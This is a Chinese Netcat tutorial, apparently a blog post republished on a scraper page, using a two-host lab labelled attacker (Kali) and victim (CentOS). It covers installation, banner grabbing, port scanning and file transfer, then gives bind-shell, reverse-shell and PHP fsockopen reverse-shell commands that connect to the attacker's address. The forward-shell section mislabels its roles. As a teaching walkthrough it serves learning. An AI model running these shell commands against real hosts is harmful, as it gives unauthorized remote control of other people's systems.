当前位置: 首页 > news >正文

2345浏览器网站进入自己做网站推广关键词

2345浏览器网站进入,自己做网站推广关键词,南宁网络系统开发,宁波自助建站模板Netcat安装与使用1.Netcat简介1.1.Netcat安装1.1.1.安装整体流程1.1.1.1.安装依赖1.1.1.2.安装Netcat1.1.1.3.配置环境变量1.1.1.4.测试1.2.Netcat基本功能1.3.Netcat常用参数2.Netcat用法2.1.前期准备2.2.banner相关信息抓取2.3.端口扫描2.3.1.扫描指定端口2.3.2.扫描指定端口…

Netcat安装与使用

  • 1.Netcat简介
    • 1.1.Netcat安装
      • 1.1.1.安装整体流程
        • 1.1.1.1.安装依赖
        • 1.1.1.2.安装Netcat
        • 1.1.1.3.配置环境变量
        • 1.1.1.4.测试
    • 1.2.Netcat基本功能
    • 1.3.Netcat常用参数
  • 2.Netcat用法
    • 2.1.前期准备
    • 2.2.banner相关信息抓取
    • 2.3.端口扫描
      • 2.3.1.扫描指定端口
      • 2.3.2.扫描指定端口段
    • 2.4.监听端口
    • 2.5.文件传输
      • 2.5.1.监听
      • 2.5.2.发送
    • 2.6.简易聊天
    • 2.7.获取shell
      • 2.7.1.正向获取shell
        • 2.7.1.1.攻击者
        • 2.7.1.2.攻击者
      • 2.7.2.反向获取shell
        • 2.7.2.1.攻击者
        • 2.7.2.2.受害者
    • 2.8.其它获取shell
      • 2.8.1.PHP反弹shell
        • 2.8.1.1.生成反弹命令
        • 2.8.1.2.攻击者
        • 2.8.1.3.受害者

1.Netcat简介

  Netcat 是一款简单的Unix工具,使用UDP和TCP协议,被称为网络工具中的"瑞士军*刀"。它是一个可靠的容易被其他程序所启用的后台操作工具,同时它也被用作网络的测试工具或黑客工具。 使用它你可以轻易的建立任何连接。

1.1.Netcat安装

  在Linux中都是自带Netcat的,如果没有,可以使用命令进行安装,安装完可以查看一下版本。
  在centos7.X中使用yum install nc按照的不是Netcat,需要注意。
  Windows中可以自行搜索安装,官网链接:官网

1.1.1.安装整体流程

1.1.1.1.安装依赖

命令:sudo yum install glibc*

在这里插入图片描述

1.1.1.2.安装Netcat

命令:
wget https://sourceforge.NET/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz
tar -zxvf netcat-0.7.1.tar.gz -C /usr/local
cd /usr/local/netcat-0.7.1
./configure
make && make install

在这里插入图片描述

1.1.1.3.配置环境变量

命令:vi /etc/profile
export NETCAT_HOME=/usr/local/netcat-0.7.1
export PATH=$PATH:$NETCAT_HOME/bin

在这里插入图片描述

1.1.1.4.测试

  这里可以使用nc -v,当然也可以使用netcat,其实是因为我懒,懒得卸载重新配置。
在这里插入图片描述

1.2.Netcat基本功能

  telnet/获取系统bannet信息、传输文本信息、传输文件和目录、加密传输文件、端口扫描、远程控制、正方向shell等。

1.3.Netcat常用参数

  Netcat它有许多参数可供使用,以下是一些常用的Netcat参数,可以根据自己的需要选择使用,同时,Netcat还有其他更多的参数,你可以通过查看其官方文档来了解。

参数介绍
-h查看帮助信息。
-l监听模式,等待其他计算机连接。
-p指定监听的端口号。
-u使用UDP协议。
-v输出详细信息,如建立连接时显示IP地址和端口号。
-n不使用DNS查找,使用IP地址进行连接。
-z将输入/输出功能关闭,进行端口扫描。
-s指定本地的IP地址。
-e在连接建立后,将标准输入和输出重定向到一个指定的程序或脚本中。
-w设置超时时间,等待连接或数据的时间。
-c发送指定字节数的数据后关闭连接。
-i设置发送数据的时间间隔。
-q设置程序退出前的最大延迟时间。
-k启用TCP保持活动状态。
-r设置随机本地端口号。
-t以telnet形式应答。

2.Netcat用法

  nc常常跟着的参数有两个,一个是n、一个是v。
  v参数就是列出执行过程的详细信息,n参数就只接收IP地址,没有dns,之所以使用n参数,是因为使用命令的过程中只去传入IP,减少了nc把域名解析为IP的过程,这样可以节省时间提高效率。

2.1.前期准备

  两台主机都需要安装nc,以便后面的操作,nc很小,安装很快。
  kali主机:192.168.10.20
  centos7主机:192.168.10.30

2.2.banner相关信息抓取

kali命令:nc -nv 192.168.10.30 22

在这里插入图片描述

2.3.端口扫描

  如果想要单纯的端口扫描的话,使用其它工具比如nmap会更好,而使用nc的主要用途就是在内网获取到权限后,再使用nc对内网进行扫描。nmap无法扫描内网。使用nc更多的是对内网扫描,若初期就需要端口扫描的话,不建议使用nc。

2.3.1.扫描指定端口

kali命令:nc -v 192.168.10.30

在这里插入图片描述

2.3.2.扫描指定端口段

kali命令:nc -vz 192.168.10.30 20-100

在这里插入图片描述

2.4.监听端口

  监听本地端口,当访问该端口时会输出该信息到命令行,这里我使用一个云服务器来监听。

云服务器命令:nc -lp 8080

在这里插入图片描述

2.5.文件传输

  首先在kali上开启监听,然后在centos7中发送文件,当发送文件后,kali上监听到后,就可以将文件保存下来。
  这里不单单可以发送文件,像压缩包、目录等均可以传输,不过这里需要理解两个重定向符号 <和>,>是将文件进行输出,<是将文件进行输入。

2.5.1.监听

  这里设置kali监听,简单来说就是接收文件,并将文件保存到1.txt中。

kali命令:nc -lp 333 > 1.txt

在这里插入图片描述

2.5.2.发送

  这里设置centos7为发送,将当前目录下的2.txt发送至kail。

centos7命令:nc -vn 192.168.10.20 333 < 2.txt

在这里插入图片描述

2.6.简易聊天

  nc 可以在两台机器之间相互传递信息,首先需要有一台机器进行监听一个端口,另一台以连接的方式去连接其指定的端口,这样两台机器之间建立了通信后,相互之间可以传输信息。
  为了区分,kali上输入的是数字,而centos7上输入的字母。

kali命令:nc -lp 333
centos命令:nc -vn 192.168.10.20 333

在这里插入图片描述
在这里插入图片描述

2.7.获取shell

  这里默认kail系统为攻击者、centos7系统为受害者。

2.7.1.正向获取shell

  正向获取shell就是将centos7连接kali,centos7获取kali的shell权限。简单来说就是受害者获取攻击者的shell。
  这里不使用Windows测试,只是将Windows系统的命令使用介绍一下。

2.7.1.1.攻击者

kali命令:nc -lvp 4444 -e /bin/sh 
Windows命令:nc -lvp 4444 -e c:\windows\system32\cmd.exe

在这里插入图片描述

2.7.1.2.攻击者

centos7命令:netcat 192.168.10.20 4444

在这里插入图片描述

2.7.2.反向获取shell

  客户端连接服务器,服务器获取客户端的shell。通常用在开启防护措施的目标机,如防火墙过滤、端口转发的等。通常反向shell是最常用的。

2.7.2.1.攻击者

kali命令:nc -lvp 4444 

在这里插入图片描述

2.7.2.2.受害者

centos7命令:netcat 192.168.10.20 4444 -e /bin/sh
Windows命令:nc 192.168.1.1 999 -e c:\windows\system32\cmd.exe

在这里插入图片描述

2.8.其它获取shell

  这里其它获取shell,就是通过不同的方式进行shell的反弹。这里可以使用反弹shell命令一键生成官网进行测试。
  官网:反弹shell命令一键生成
在这里插入图片描述

2.8.1.PHP反弹shell

2.8.1.1.生成反弹命令

  这里使用官网中配置,选择php即可生成反弹shell。

命令:php -r '$sock=fsockopen("192.168.10.20",7777);`sh -i <&3 >&3 2>&3`;'

在这里插入图片描述

2.8.1.2.攻击者

  这里的攻击者就是kali,按照官网上开启监听。

kali命令:nc -lvnp 7777

在这里插入图片描述

2.8.1.3.受害者

  这里的受害者就是centos7,按照官网上的生成的命令进行配置,我这里centos7上没有php,所以没成功正常情况下是能够成功的,这里我主要就是演示一下。

centos7命令:php -r '$sock=fsockopen("192.168.10.20",7777);`sh -i <&3 >&3 2>&3`;'

在这里插入图片描述

http://www.yayakq.cn/news/276135/

相关文章:

  • 电商 网站模板h5页面设计尺寸
  • 山东鸿泰建设集团有限公司网站广州互联网营销师培训
  • 鞍山建设网站微信开放平台相关认证方式
  • 网站开发 所有权微商城开店
  • 郑州建设劳务管理中心网站百度网站权重排名
  • 做网站分前台后端吗网站友情链接查询
  • 网站结构化数据网上销售哪些平台免费
  • 鄂尔多斯网站推广企业网页设计制作
  • 现在外国有哪个网站可以做卖东西网络营销推广公司名字
  • 网站聊天室怎样做炫彩马甲wordpress另一项更新
  • 建立网站实验总结html5新增标签
  • 汕头网站建设推广费用企业在线管理系统
  • 吴堡网站建设费用网站修改标题有影响吗
  • 电脑软件和网站怎么做哪些网站的网站怎么做的
  • 推荐个2021能看的网站免费仙居县建设规划局网站
  • 网站品牌推广公司凡科平台盲审
  • 如何仿网站模板郑州医院排名第一妇科
  • 网站信息发布和内容建设自查报告wordpress 首页添加登陆
  • 可以做免费推广的网站吗北京业之峰装饰公司官网
  • 怎么样在服务器上建设网站江苏建科建筑培训网
  • 网站优化公司哪家好网站建设方案的策划书
  • 做网站需要注意的地方手机网站开发入门
  • 驾校门户网站模板学校期末评语网站开发
  • 北京给公司做网站多少钱深圳建设工程交易服务网中标
  • 网站建设龙采霍曼科技宣布获近亿元c轮融资
  • 如何使用爱站网装修广告做哪个网站最好看
  • asp网站开发好怎么预览短网址生成器app
  • 建设校园门户网站信息意义甘肃省建设部网站
  • 新网站建设怎么样怎么用dedecms搭建网站
  • 悦阁网站建设达州设计公司